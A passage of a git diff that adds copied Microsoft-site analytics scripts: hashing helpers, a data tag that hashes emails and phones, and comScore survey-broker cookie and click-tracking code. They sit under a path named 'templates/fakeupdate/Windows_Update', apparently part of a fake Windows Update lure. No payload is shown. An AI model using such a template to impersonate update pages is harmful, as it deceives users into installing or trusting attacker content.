i(j(e.concat(g),640));}function d(a){try{}catch(b){s=0;}for(var c,d=s?"0123456789ABCDEF":"0123456789abcdef",e="",f=0;f>>4&15)+d.charAt(15&c);}return e;}function e(a){try{}catch(b){t="";}for(var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",d="",e=a.length,f=0;e>f;f+=3){for(var g=a.charCodeAt(f)<<16|(e>f+1?a.charCodeAt(f+1)<<8:0)|(e>f+2?a.charCodeAt(f+2):0),h=0;4>h;h++){d+=8*f+6*h>8*a.length?t:c.charAt(g>>>6*(3-h)&63);}}return d;}function f(a,b){var c,d,e,f,g,h=b.length,i=Array(Math.ceil(a.length/2));for(c=0;cd;d++){for(g=Array(),f=0,c=0;c0||e>0)&&(g[g.length]=e);}k[d]=f,i=g;}var l="";for(c=k.length-1;c>=0;c--){l+=b.charAt(k[c]);}return l;}function g(a){for(var b,c,d="",e=-1;++e=55296&&56319>=b&&c>=56320&&57343>=c&&(b=65536+((1023&b)<<10)+(1023&c),e++),127>=b?d+=String.fromCharCode(b):2047>=b?d+=String.fromCharCode(192|b>>>6&31,128|63&b):65535>=b?d+=String.fromCharCode(224|b>>>12&15,128|b>>>6&63,128|63&b):2097151>=b&&(d+=String.fromCharCode(240|b>>>18&7,128|b>>>12&63,128|b>>>6&63,128|63&b));}return d;}function h(a){for(var b=Array(a.length>>2),c=0;c>5]|=(255&a.charCodeAt(c/8))<>5]>>>c%32&255);}return b;}function j(a,b){a[b>>5]|=128<>>9<<4)+14]=b;for(var c=1732584193,d=-271733879,e=-1732584194,f=271733878,g=0;g>16)+(b>>16)+(c>>16);return d<<16|65535&c;}function q(a,b){return a<>>32-b;}var r={};r.hex_md5=a;var s=0,t="";return r;}),define("../vendor/sha256",[],function(){function a(a){return d(b(g(a)));}function b(a){return i(r(h(a),8*a.length));}function c(a,b){var c=h(a);c.length>16&&(c=r(c,8*a.length));for(var d=Array(16),e=Array(16),f=0;16>f;f++){d[f]=909522486^c[f],e[f]=1549556828^c[f];}var g=r(d.concat(h(b)),512+8*b.length);return i(r(e.concat(g),768));}function d(a){try{}catch(b){u=0;}for(var c,d=u?"0123456789ABCDEF":"0123456789abcdef",e="",f=0;f>>4&15)+d.charAt(15&c);}return e;}function e(a){try{}catch(b){v="";}for(var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",d="",e=a.length,f=0;e>f;f+=3){for(var g=a.charCodeAt(f)<<16|(e>f+1?a.charCodeAt(f+1)<<8:0)|(e>f+2?a.charCodeAt(f+2):0),h=0;4>h;h++){d+=8*f+6*h>8*a.length?v:c.charAt(g>>>6*(3-h)&63);}}return d;}function f(a,b){var c,d,e,f,g=b.length,h=Array(),i=Array(Math.ceil(a.length/2));for(c=0;c0;){for(f=Array(),e=0,c=0;c0||d>0)&&(f[f.length]=d);}h[h.length]=e,i=f;}var j="";for(c=h.length-1;c>=0;c--){j+=b.charAt(h[c]);}var k=Math.ceil(8*a.length/(Math.log(b.length)/Math.log(2)));for(c=j.length;k>c;c++){j=b[0]+j;}return j;}function g(a){for(var b,c,d="",e=-1;++e=55296&&56319>=b&&c>=56320&&57343>=c&&(b=65536+((1023&b)<<10)+(1023&c),e++),127>=b?d+=String.fromCharCode(b):2047>=b?d+=String.fromCharCode(192|b>>>6&31,128|63&b):65535>=b?d+=String.fromCharCode(224|b>>>12&15,128|b>>>6&63,128|63&b):2097151>=b&&(d+=String.fromCharCode(240|b>>>18&7,128|b>>>12&63,128|b>>>6&63,128|63&b));}return d;}function h(a){for(var b=Array(a.length>>2),c=0;c>5]|=(255&a.charCodeAt(c/8))<<24-c%32;}return b;}function i(a){for(var b="",c=0;c<32*a.length;c+=8){b+=String.fromCharCode(a[c>>5]>>>24-c%32&255);}return b;}function j(a,b){return a>>>b|a<<32-b;}function k(a,b){return a>>>b;}function l(a,b,c){return a&b^~a&c;}function m(a,b,c){return a&b^a&c^b&c;}function n(a){return j(a,2)^j(a,13)^j(a,22);}function o(a){return j(a,6)^j(a,11)^j(a,25);}function p(a){return j(a,7)^j(a,18)^k(a,3);}function q(a){return j(a,17)^j(a,19)^k(a,10);}function r(a,b){var c,d,e,f,g,h,i,j,k,r,t,u,v=new Array(1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225),x=new Array(64);for(a[b>>5]|=128<<24-b%32,a[(b+64>>9<<4)+15]=b,k=0;kr;r++){x[r]=16>r?a[r+k]:s(s(s(q(x[r-2]),x[r-7]),p(x[r-15])),x[r-16]),t=s(s(s(s(j,o(g)),l(g,h,i)),w[r]),x[r]),u=s(n(c),m(c,d,e)),j=i,i=h,h=g,g=s(f,t),f=e,e=d,d=c,c=s(t,u);}v[0]=s(c,v[0]),v[1]=s(d,v[1]),v[2]=s(e,v[2]),v[3]=s(f,v[3]),v[4]=s(g,v[4]),v[5]=s(h,v[5]),v[6]=s(i,v[6]),v[7]=s(j,v[7]);}return v;}function s(a,b){var c=(65535&a)+(65535&b),d=(a>>16)+(b>>16)+(c>>16);return d<<16|65535&c;}var t={};t.hex_sha256=a;var u=0,v="",w=new Array(1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998);return t;}),define("../src/core",["../src/bootstrap","../src/utils","../vendor/cookies","../vendor/numis","../vendor/md5","../vendor/sha256"],function(a,b,c,d,e,f){var g=[],h=!1,i={site:"site_id",limit:"pixel_limit",excludeBkParams:"ignore_meta",excludeTitle:"exclude_title",excludeKeywords:"exclude_keywords",excludeReferrer:"exclude_referrer",excludeLocation:"exclude_location",partnerID:"partner_id",allowMultipleCalls:"allow_multiple_calls",suppressMultipleCalls:"suppress_multiple_calls",callback:"callback",useImage:"use_image",useMultipleIframes:"use_multiple_iframes",allData:"all_data",timeOut:"timeout",ignoreOutsideIframe:"ignore_outside_iframe",eventScheduling:"event_scheduling",suppressEventScheduling:"suppress_event_scheduling",suppressCacheBusting:"suppress_cache_busting",pixelUrl:"pixel_url",pixelSecure:"pixel_secure",useFirstParty:"use_first_party",suppressFirstParty:"suppress_first_party",sendStatidPayload:"send_statid_payload",suppressStatidPayload:"suppress_statid_payload",metaVars:"meta_vars",jsList:"js_list",paramList:"param_list",useMobile:"use_mobile",disableMobile:"disable_mobile",isDebug:"is_debug",limitGetLength:"limit_get_length"},j={readCookie:readCookie,createCookie:createCookie,eraseCookie:eraseCookie,_dest:null,addParam:function(a,b,c){return"undefined"!=typeof varMap&&varMap[b]&&(b=varMap[b]),g.push("undefined"!=typeof c?a+"="+encodeURIComponent(b+"="+c):a+"="+b),BKTAG;},addBkParam:function(a,b){if("string"==typeof a&&"string"==typeof b){j.addParam("phint","__bk_"+a,b);}else{for(var c in a){a.hasOwnProperty(c)&&"string"==typeof a[c]&&j.addParam("phint","__bk_"+c,a[c]);}}return BKTAG;},addHash:function(a,b,c){return j.addParam("phint",a,c&&""!==c?e.hex_md5(c):""),j.addParam("phint",b,c&&""!==c?f.hex_sha256(c):""),BKTAG;},addEmailHash:function(a){return a?"string"!=typeof a&&(a=a.toString()):a="",a=BKTAG.util.normalizeEmail(a),j.addHash("e_id_m","e_id_s",a);},addPhoneHash:function(a){return a?"string"!=typeof a&&(a=a.toString()):a="",a=BKTAG.util.normalizePhone(a),j.addHash("p_id_m","p_id_s",a);},_reset:function(){h=!1,g=[];for(var a in i){if(i.hasOwnProperty(a)){var b="bk_"+i[a];window[b]=void 0;try{delete window[b];}catch(c){}}}return BKTAG;},params:function(){return g;},getGlobals:function(a){if(a.length){for(var b=0;b 0){ + intMax --; + try{ + if(ClickTaleGetPID() && ClickTaleGetSID() && ClickTaleGetUID()){ + COMSCORE.SiteRecruit._halt = false; + COMSCORE.SiteRecruit.Broker.run(); + clearClickTaleData(); + } + }catch(err){ } + }else{ + clearClickTaleData(); + } + } + + function clearClickTaleData() { + window.clearInterval(CTDInterval); + } + + if(/en-us\/(laptop|phone|premiumlaptop|tablet)/i.test(document.location.toString()) && document.cookie.indexOf('msresearch') == -1 ){ + COMSCORE.SiteRecruit._halt = true; + var intMax = 15; + var CTDInterval = window.setInterval('checkClickTaleData()', '1000'); + } + +// START 5.1.3 +function _set_SessionCookie(_name, _val) { + if (_name == COMSCORE.SiteRecruit.Broker.config.domainSwitch) { + var r = new RegExp(COMSCORE.SiteRecruit.Broker.config.domainMatch,'i'); + if (r.test(_val)) { + _val = RegExp.$1 + RegExp.$2; + var c = _name + '=' + _val + '; path=/' + '; domain=' + COMSCORE.SiteRecruit.Broker.config.cookie.domain; + document.cookie = c; + } + }else if(COMSCORE.isDDInProgress()){ + if(_name == "captlinks"){ + if(/^http(s)?\:/i.test(_val)){ + var _reg = new RegExp("http(s)?://"+document.domain+"/", "i"); + var _val = _val.replace(_reg, ''); + } + if(_val && _val.length > 2){ + c_vals = readCookie("captlinks"); + if(c_vals){ + if(c_vals.indexOf(_val) == -1){ + var str = c_vals +"," + _val; + if(str.length <= 1440){ + _val = str; + }else{ _val=false; } + }else{ _val = false; } + } + } + } + if(_val){ + var c = _name+'=' + _val + '; path=/' + '; domain=' + COMSCORE.SiteRecruit.Broker.config.cookie.domain; + document.cookie = c; + } + } +} +// END 5.1.3 +var gIdelay = 0; +if (COMSCORE.SiteRecruit.Utils.UserPersistence.getCookieValue("graceIncr") == 1) { + gIdelay = 5000; +} +setTimeout(function(){_set_SessionCookie("graceIncr", 0)},gIdelay); +//_set_SessionCookie("graceIncr", 0); + + +//START 5.1.3 CDDS-captLink-graceIncr handlers +function SRappendEventListener(srElement, _name, _val){ + if(srElement.addEventListener){ + srElement.addEventListener('click',function(event){ _set_SessionCookie(_name, _val); },false); + }else{ + srElement.attachEvent('onclick',function(){ _set_SessionCookie(_name, _val); }); + } +} + +function checkLink(){ + var allLinks = document.getElementsByTagName("a"); + for (var i = 0, n = allLinks.length; i < n; i++){ + var r = new RegExp(COMSCORE.SiteRecruit.Broker.config.cddsDomains,'i'); + var _clickURL = allLinks[i].href; + + if(_clickURL && _clickURL != '' && !(/javascript\:void(0)/i.test(_clickURL)) ){ + + if (r.test(_clickURL)) { + SRappendEventListener(allLinks[i], COMSCORE.SiteRecruit.Broker.config.domainSwitch, _clickURL); + } + + if(/[\w\.]+\/(en-us)\/((default\.aspx|$)|download|business)/i.test(document.location.toString())){ + if(/microsoftstore|store\.microsoft|clk\.atdmt\.com\/MRT\/go\/419363751\/direct|DisplayThreePgCheckoutAddressPaymentInfoPage|msacademicverify|login|(office|office\.microsoft|live|skype|windowsphone|xbox|onedrive)\.com/i.test(_clickURL)){ + SRappendEventListener(allLinks[i], "graceIncr", _clickURL); + SRappendEventListener(allLinks[i], "captlinks","microsoftstore.com"); + } + }else if(/[\w\.]+\/(en-(gb|us)|fr-fr)\/(tablet|phone|laptop|premiumlaptop)/i.test(document.location.toString())){ + if(/CheckOfferEligibility|login\.live|msacademicverify|(o15\.officeredir|office)\.microsoft\.com|login|LiveLogin/i.test(_clickURL)){ + SRappendEventListener(allLinks[i], "graceIncr", _clickURL); + } + if(/phone/i.test(allLinks[i].innerHTML)){ _clickURL= _clickURL.replace(/q=(tablet|premiumlaptop|laptop)/i, "q=phone");} + else if(/tablet/i.test(allLinks[i].innerHTML)){ _clickURL= _clickURL.replace(/q=(phone|premiumlaptop|laptop)/i, "q=tablet");} + else if(/premiumlaptop/i.test(allLinks[i].innerHTML)){ _clickURL= _clickURL.replace(/q=(phone|laptop|tablet)/i, "q=premiumlaptop");} + else if(/convertiblelaptops/i.test(allLinks[i].innerHTML)){ _clickURL= _clickURL.replace(/q=(phone|laptop|tablet)/i, "q=convertiblelaptops");} + else if(/laptop/i.test(allLinks[i].innerHTML)){ _clickURL= _clickURL.replace(/q=(phone|premiumlaptop|tablet)/i, "q=laptop");} + SRappendEventListener(allLinks[i], "captlinks",_clickURL); + } + } + + if(/[\w\.]+\/(en-(gb|us)|fr-fr)\/(tablet|phone|laptop|premiumlaptop)/i.test(document.location.toString())){ + //if(/Lumia (930|735|830|phone)/i.test(allLinks[i].innerHTML)){ + if(/(Lumia|lumia)/i.test(allLinks[i].innerHTML)){ + _clickURL= "q=img_phone"; + SRappendEventListener(allLinks[i], "captlinks",_clickURL); + }else if(/Lenovo Yoga 3 Pro/i.test(allLinks[i].innerHTML)){ + _clickURL= "q=img_premiumLaptop"; + SRappendEventListener(allLinks[i], "captlinks",_clickURL); + }else if(/HP Stream/i.test(allLinks[i].innerHTML)){ + _clickURL= "q=img_laptop"; + SRappendEventListener(allLinks[i], "captlinks",_clickURL); + }else if(/Surface Pro 3/i.test(allLinks[i].innerHTML)){ + _clickURL= "q=img_tablet"; + SRappendEventListener(allLinks[i], "captlinks",_clickURL); + } + } + + if(/[\w\.]+\/en-us\/windowsapps/i.test(document.location.toString())){ + SRappendEventListener(allLinks[i], "captlinks",_clickURL); + } + + } +} + +setTimeout("checkLink();", 3000); + +if(/[\w\.]+\/(en-(gb|us))\/(tablet|phone|laptop|premiumlaptop)/i.test(document.location.toString())){ + if(document.getElementById("tab1")){ + var srBtn = document.getElementById("tab1"); + SRappendEventListener(srBtn,"captlinks","q=tablet"); + }if(document.getElementById("tab2")){ + var srBtn = document.getElementById("tab2"); + SRappendEventListener(srBtn,"captlinks","q=phone"); + } +} +//END 5.1.3 CDDS-captLink-graceIncr handlers + +//START DLC +function checkWTOptimize(){ + try{ + if(WTOptimize.custom.comScore && WTOptimize.custom.comScore!= null){ + var wtExpId=WTOptimize.custom.comScore; + if(!(/(1020395\|1020396)|(1020397\|1020398)/i.test(wtExpId))){ + COMSCORE.SiteRecruit._halt = true; + }else{ + var c = 'wtExpId=' + wtExpId + '; path=/' + '; domain=' + COMSCORE.SiteRecruit.Broker.config.cookie.domain; + document.cookie = c; + } + }else{ COMSCORE.SiteRecruit._halt = true; } + }catch(err){ + COMSCORE.SiteRecruit._halt = true; + } +} + +if(/www\.microsoft\.com\/en-us\/download\/details\.aspx\?id=3/i.test(window.location.toString())){ + if(COMSCORE.SiteRecruit.Broker.config.delay < 4000){ COMSCORE.SiteRecruit.Broker.config.delay=4000; } + window.setTimeout("checkWTOptimize();", 3000); +} +//END DLC + +// START 5.1.3 + function crossDomainCheck() { + if (intervalMax > 0) { + intervalMax --; + + var cookieName = COMSCORE.SiteRecruit.Broker.config.cddsInProgress; + + if (COMSCORE.SiteRecruit.Utils.UserPersistence.getCookieValue(cookieName) != false ) { + COMSCORE.SiteRecruit.DDKeepAlive.setDDTrackerCookie(); + COMSCORE.SiteRecruit._halt = true; + clearCrossDomainCheck(); + } + } + else { + clearCrossDomainCheck(); + } + } + + function clearCrossDomainCheck() { + window.clearInterval(crossDomainInterval); + } + + var intervalMax = 10; + + var crossDomainInterval = window.setInterval('crossDomainCheck()', '1000'); +//END CROSS_DOMAIN DEPARTURE FUNCTIONALITY + +//CUSTOM - ADD 5 SECOND DELAY ON CALLING BROKER.RUN() +if (COMSCORE.SiteRecruit.Broker.delayConfig == true) { + COMSCORE.SiteRecruit.Broker.config.delay = 5000; +} +//CUSTOM - ADD 20 SECOND DELAY ON CALLING BROKER.RUN() FOR SMB SITES +if(/www\.microsoft\.com\/((en-(ca|in|us)|fr-ca|fr-fr|pt-br|ru-ru|zh-cn)\/business|(en-gb|ja-jp|de-de)\/smb)/i.test(window.location.toString())){ + COMSCORE.SiteRecruit.Broker.config.delay = 20000; +} +window.setTimeout('COMSCORE.SiteRecruit.Broker.run()', COMSCORE.SiteRecruit.Broker.config.delay); +// END 5.1.3 \ No newline at end of file diff --git a/templates/fakeupdate/Windows_Update/source/broker.js b/templates/fakeupdate/Windows_Update/source/broker.js new file mode 100644 index 0000000..2f5d8b8 --- /dev/null +++ b/templates/fakeupdate/Windows_Update/source/broker.js @@ -0,0 +1,1311 @@ +/* +Copyright (c) 2014, comScore Inc. All rights reserved. +version: 5.0.3 +*/ +var _sr_config = "broker-config.js"; +var _sr_builder = "builder.js"; +var _sr_sql08_URL = false; +var qI_flag=false; +var qI_loaded=true; +var _mobile=false; +var _recruit4mobile = false; +var SR_url = window.location.toString().toLowerCase(); +var URLrange= [/\/\/[\w\.]+\/[a-k]/i, /\/\/[\w\.]+\/[l-z]/i]; + +for (var i=0; i < URLrange.length; i++) +{ + j = i + 1; + if (URLrange[i].test(SR_url)) { + _sr_config= "broker-config_s" + j + ".js"; + } +} + +if(/www\.microsoft\.com\/windows\/pc-selector/i.test(SR_url) ) { + _sr_config = "broker-config_cle.js"; +}else if(/[\w\.]+\/windowsphone\/en-us/i.test(SR_url) ) { + _sr_config = "broker-config_wp.js"; +}else if(/[\w\.]+\/learning/i.test(SR_url)) { + _sr_config = "broker-config_learning.js"; +}else if(/[\w\.]+\/en-us\/bi\//i.test(SR_url)) { + _sr_builder = "builder_Qbi.js"; +}else if(/[\w\.]+\/windowsembedded\/en-us/i.test(SR_url)) { + _sr_config = "broker-config_WinEmb.js"; +}else if(/(www|js|i3)\.microsoft\.com\/library\/svy\/(int_cle|int_cle_honestly)\.htm/i.test(SR_url)){ + _sr_config = "broker-config_cle.js"; +} +if(/iphone|ipad|ipod|android|opera (mini|mobi)|blackberry|windows (phone|ce)|iemobile|htc|nokia|mobile/i.test(navigator.userAgent) ){ + if(/(www|js|i3)\.microsoft\.com\/library\/svy\/(int_cle|int_cle_honestly)\.htm/i.test(SR_url)){ + _sr_config = "broker-config_cle.js"; _recruit4mobile=true; + }else if(/en-us\/((default\.aspx)?$|(phone|tablet|premiumlaptop|laptop|windowsapps))/i.test(SR_url) || /en-gb\/(tablet|phone|laptop)/i.test(SR_url) || /fr-fr\/(tablet|phone)/i.test(SR_url) || /(ja-jp|zh-cn)\/tablet/i.test(SR_url) || /(de-de|it-it)\/phone/i.test(SR_url) ){ + _sr_config = "broker-config_M.js"; _recruit4mobile=true; + }else if(/en-(ca|gb|in)\/(default\.aspx)?$/i.test(SR_url) || /fr-ca|fr-fr|de-de|ja-jp|zh-cn|ru-ru|pt-br\/(default\.aspx)?$/i.test(SR_url) ){ + _sr_config = "broker-config_M.js"; + _sr_builder = "builder_post_M.js"; + _recruit4mobile=true; + } + _mobile=true; +} + +function readCookie(name){var ca = document.cookie.split(';'); var nameEQ = name + "="; for(var i=0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return false;} + +if (typeof(COMSCORE) == "undefined") { + var COMSCORE = {}; +} + +if (typeof COMSCORE.SiteRecruit == "undefined") { + COMSCORE.SiteRecruit = { + version: "5.0.3", + + configUrl: _sr_config, // full url to broker config + + builderUrl: _sr_builder, // full url to invitation builder + + allowScriptCaching: false, + + CONSTANTS: { + COOKIE_TYPE: { ALREADY_ASKED: 1, DD_IN_PROGRESS: 2}, + STATE_NAME: { IDLE: "IDLE", DDINPROGRESS: "DDINPROGRESS"} + } + + }; + + COMSCORE.SiteRecruit.Utils = ( function() { + //private + var _sr = COMSCORE.SiteRecruit; + + // public methods and properties + return { + location: document.location.toString(), + + loadScript: function(url, loadFresh) { + // append if load freshis called, do not append if scripcaching is allowed + if (loadFresh && !_sr.allowScriptCaching) { + url = _sr.Utils.appendQueryParams(url, (new Date()).getTime()); + } + + var s = document.createElement("script"); + s.src = url; + document.body.appendChild(s); + }, + + getBrowser: function() { + var b = {}; + + b.name = navigator.appName; + b.version = parseInt(navigator.appVersion, 10); + + // Check for Internet Explorer based browsers. + if (b.name == "Microsoft Internet Explorer") { + if (b.version > 3) { + var ua = navigator.userAgent.toLowerCase(); + if (ua.indexOf("msie 5.0") == -1) { + b.ie = true; + + } + + if (ua.indexOf("msie 7") != -1) { + b.ie7 = true; + + } + } + } + + // Check for Mozilla based browsers. + if (b.name == "Netscape" || b.name == "Opera") { + if (b.version > 4) { + b.mozilla = true; + + } + } + + return b; + + /* compact version!!!, does it match sr4 behavior? + b.xpath = !!(document.evaluate); + if (window.ActiveXObject) { + b.ie = b[window.XMLHttpRequest ? "ie7" : "ie6"] = true; + + COMSCORE.log("browser is IE, " + b.ie7 ? "7" : "6"); + } + else if (document.childNodes && !document.all && !navigator.taintEnabled) { + b.webkit = b[b.xpath ? 'webkit420' : 'webkit419'] = true; + + COMSCORE.log("browser is safari"); + } + else if (document.getBoxObjectFor != null) { + b.gecko = true; // mozilla/firefox + } + */ + }, + + /** + * Used for firing a web beacon, loads an image behind the scenes. + * @param {Object} url Url of the image request + */ + fireBeacon: function (url) { + setTimeout(function() { + if (url.indexOf('?') == -1) { + url += (/\?/.test(url) ? '&' : '?') + (new Date()).getTime(); + } + else + { + url += '&' + (new Date()).getTime(); + } + + var i = new Image(); + + + + i.src = url; + }, 1); + }, + + appendQueryParams: function(url, params) { + if (url == null || params == null) { + + } + //params = encodeURIComponent(params); + if (!url) { + return params; + } + else { + url = url.replace('?', '') + "?"; + + if (params) { + url += params.toString().replace('?', ''); + } + + return url; + } + }, + + getRandom: function(num) { + // Custom random number generator. + var n = 1000000000; + + function ugen(old, a, q, r, m) { + var t = Math.floor(old / q); + t = a * (old - (t * q)) - (t * r); + return Math.round((t < 0) ? (t + m) : t); + } + + var m1 = 2147483563, m2 = 2147483399, a1 = 40014, a2 = 40692, q1 = 53668, q2 = 52774, r1 = 12211, r2 = 3791, x = 67108862; + var g2 = (Math.round(((new Date()).getTime() % 100000)) & 0x7FFFFFFF), g1 = g2; + var shuffle = [32], i = 0; + + for (; i < 19; i++) { + g1 = ugen(g1, a1, q1, r1, m1); + } + for (i = 0; i < 32; i++) { + g1 = ugen(g1, a1, q1, r1, m1); + shuffle[31 - i] = g1; + } + g1 = ugen(g1, a1, q1, r1, m1); + g2 = ugen(g2, a2, q2, r2, m2); + var s = Math.round((shuffle[Math.floor(shuffle[0] / x)] + g2) % m1); + + var rand = Math.floor(s / (m1 / (n + 1))) / n; + + // if passed arg, return number between 0 and num, else return float + //switched these 2 does it make sense? + if (typeof(num) == "undefined") { + + return rand; + } + else { + + return Math.floor(rand*(num+1)); + } + }, + + getExecutingPath: function(filename) { + var tags = document.getElementsByTagName("script"); + for (var i = tags.length - 1; i >= 0; i--) { + var src = tags[i].src; + + this.scriptUrl = src; + + if (src.indexOf("/" + filename) != -1) { + return src.replace(/(.*)(\/.*)$/, '$1/'); + } + } + }, + + JSONDeserialize: function(str){ + try{ + if(str === "")str = '""'; + if(str.length > 4){ + if(window.JSON && window.JSON.parse){ + if (str.indexOf('"undefined"') == -1) { + return window.JSON.parse(str.replace("undefined", '"undefined"')); + } + else { + return window.JSON.parse(str); + } + }else{ + //Extract cookie state object data and survey array data from the rest of the params + var _data = str.substring(1,str.indexOf(",")) + str.substring(str.indexOf("}")+1,str.length-1); + var _st = str.slice(str.indexOf('name'), str.indexOf("}")).replace(/"/gi,''); + var _sv = str.substring(str.indexOf('[')+1, str.indexOf("]")).replace(/"/gi,''); + var _p = _data.substring(0,_data.indexOf("surveys")-1).replace(/"/gi,'') + _data.substring(_data.indexOf("],")+2,_data.length).replace(/"/gi,''); + //Convert cookie state, survey, other param string data into separate arrays + var _stArr = _st.split(","); + var _svArr = _sv.split(","); + var _pArr = _p.split(","); + var obj = {}; + obj.version = _pArr[0].substring(_pArr[0].indexOf(":")+1); + obj.state = {}; + obj.state.name = _stArr[0].substring(_stArr[0].indexOf(":")+1); + obj.state.url = _stArr[1].substring(_stArr[1].indexOf(":")+1) + obj.state.timestamp = parseInt(_stArr[2].substring(_stArr[2].indexOf(":")+1)); + obj.lastinvited = parseInt(_pArr[1].substring(_pArr[1].indexOf(":")+1)); + obj.userid = _pArr[2].substring(_pArr[2].indexOf(":")+1); + obj.vendorid = parseInt(_pArr[3].substring(_pArr[3].indexOf(":")+1)); + obj.surveys = new Array(); + //Iterate through survey array[], append surveyIDs to obj.survey[] + for(var i=0; i<_svArr.length;i++){ obj.surveys.push(_svArr[i]); } + obj.graceperiod = parseInt(_pArr[4].substring(_pArr[4].indexOf(":")+1)); + obj.trackertimestamp = parseInt(_pArr[5].substring(_pArr[5].indexOf(":")+1)); + return obj; + } + }else{ + return null; + } + }catch (e){ + return null; + } + }, + + JSONSerialize: function (obj) { + try { + var t = typeof (obj); + if (t != "object" || obj === null) { + + if (t == "string") obj = '"'+obj+'"'; + return String(obj); + + } + else { + + var n, v, json = [], arr = (obj && obj.constructor == Array); + + for (n in obj) { + v = obj[n]; t = typeof(v); + + if (t != "function"){ + if (t == "string") v = '"'+v+'"'; + else if (t == "object" && v !== null) v = this.JSONSerialize(v); + + json.push((arr ? "" : '"' + n + '":') + String(v)); + } + } + + return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}"); + } + } + catch(e){ + return ""; + } + } + }; + } )(); + + /* + Basic Cookie Functionality + */ + COMSCORE.SiteRecruit.Utils.UserPersistence = { + maxNumberOfPids : 6, + //The maximum number of pids allowed at any time in the 'surveys' attribute + CONSTANTS: { + STATE_NAME: { IDLE: "IDLE", DDINPROGRESS: "DDINPROGRESS"} + }, + getCookieName: function(){ + //Get default cookie option from broker if found + var c; + if (COMSCORE.SiteRecruit.Broker && COMSCORE.SiteRecruit.Broker.config){ + c = COMSCORE.SiteRecruit.Broker.config.cookie; + if (c.name){ + return c.name; + } + } + return ""; + }, + + getDefaultCookieOptions: function(){ + var ret= { path: "/", domain: "" }; + return ret; + }, + + getVendorId: function(){ + var ret= 1; + return ret; + }, + + createCookie: function(key, value, options) { + + + value = escape(value); + + if (options.duration && options.duration < 0) { + var date = new Date(); + date.setTime(date.getTime() + options.duration * 24 * 60 * 60 * 1000); + value += "; expires=" + date.toGMTString(); + } + else{ + var date = new Date(); + date.setTime(date.getTime() + 10 * 365 * 24 * 60 * 60 * 1000); + value += "; expires=" + date.toGMTString(); + } + + if (options.path) { + value += "; path=" + options.path; + } + else { + + } + + if (options.domain) { + value += "; domain=" + options.domain; + } + + if (options.secure) { + value += "; secure"; + } + if (options.graceperiod) { + value += "; graceperiod=" + options.graceperiod; + } + + document.cookie = key + "=" + value; + + return true; + }, + + getCookieValue: function(key) { + var value = document.cookie.match("(?:^|;)\\s*" + key + "=([^;]*)"); + return value ? unescape(value[1]) : false; + }, + + removeCookie: function(name, options) { + + + options = options || {}; + options.duration = -999; + + this.createCookie(name, "", options); + }, + + createUserObj: function(params){ + /* + { + version:, + state:{ + name:, + url: , + timestamp: + }, + lastinvited: , + userid: +, + vendorid: , + surveys: ["pid","pid",....] + } + + STATES: + not in progress/idle + dd in progress + edd + */ + + var date = new Date(); + var inputpid = params.pid; + var inputurl = params.url; + var inputstate = this.CONSTANTS.STATE_NAME.IDLE; + if (params.statename){ + inputstate = params.statename; + } + var inputtimestamp = date.getTime(); + if (params.timestamp){ + inputtimestamp = params.timestamp; + } + var inputcookiename = this.getCookieName(); + if (params.cookiename){ + inputcookiename = params.cookiename; + } + if (!params.cookieoptions){ + params.cookieoptions = this.getDefaultCookieOptions(); + } + + var userObj = {}; + userObj.version = "5.0"; + userObj.state = {}; + userObj.state.name = inputstate; + userObj.state.url = inputurl; + userObj.state.timestamp = inputtimestamp; + userObj.lastinvited = inputtimestamp; + userObj.userid = date.getTime().toString() + Math.floor(Math.random()*9999999999999999).toString() ; + userObj.vendorid = this.getVendorId(); + userObj.surveys = new Array(); + userObj.surveys.push(inputpid); + userObj.graceperiod = 5; + + var cookieString = COMSCORE.SiteRecruit.Utils.JSONSerialize(userObj); + + this.createCookie(inputcookiename,cookieString,params.cookieoptions) + return userObj; + + }, + + /* Start Public Functions*/ + setUserObj: function(params){ + /* + Public function to set values for the user object + */ + + var inputpid, inputurl, inputstate, inputtimestamp; + var inputcookiename, inputgraceperiod, inputtrackertimestamp; + var date; + + var userObj = this.getUserObj(params); + if (!userObj) + { + userObj = this.createUserObj(params); + } + + date = new Date(); + + //MP: default values + inputtimestamp = 0;//date.getTime(); + inputcookiename = this.getCookieName(); + inputgraceperiod = 5; + inputtrackertimestamp = 0; + inputstate = this.CONSTANTS.STATE_NAME.IDLE; + + //MP: pid and url are directly read from the input object + inputpid = params.pid; + + if (params.url) { + inputurl = params.url; + } + else if (userObj.state.url) { + inputurl = userObj.state.url; + } + + /**MP:Read values from params object, if not set, read from current cookie (preserve existent value)**/ + + //MP:state should always be explicitly set, if not, state value will be taken from current cookie + if (params.statename){ + inputstate = params.statename; + } + else if (userObj.state && userObj.state.name) { + inputstate = userObj.state.name + } + + if (params.timestamp) { + inputtimestamp = params.timestamp; + } + else if (userObj.state && userObj.state.timestamp) { + inputtimestamp = userObj.state.timestamp; + } + + if (params.cookiename){ + inputcookiename = params.cookiename; + } + //MP: cookiename is always passed on the params object + + if (!params.cookieoptions){ + params.cookieoptions = this.getDefaultCookieOptions(); + } + //MP: cookieoptions do not exist in the userObject, if those values need to be preserved, they should be explicitly read here, one by one + + + if (params.graceperiod) { + inputgraceperiod = params.graceperiod; + } + else if (userObj.graceperiod) { + inputgraceperiod = userObj.graceperiod; + } + //MP: graceperiod is only set once, from then on, it should be preserved + + if (params.trackertimestamp) + { + inputtrackertimestamp = params.trackertimestamp + } + else if (userObj.trackertimestamp) + { + inputtrackertimestamp = userObj.trackertimestamp; + } + + //userObj.lastinvited = inputtimestamp; + userObj.lastinvited 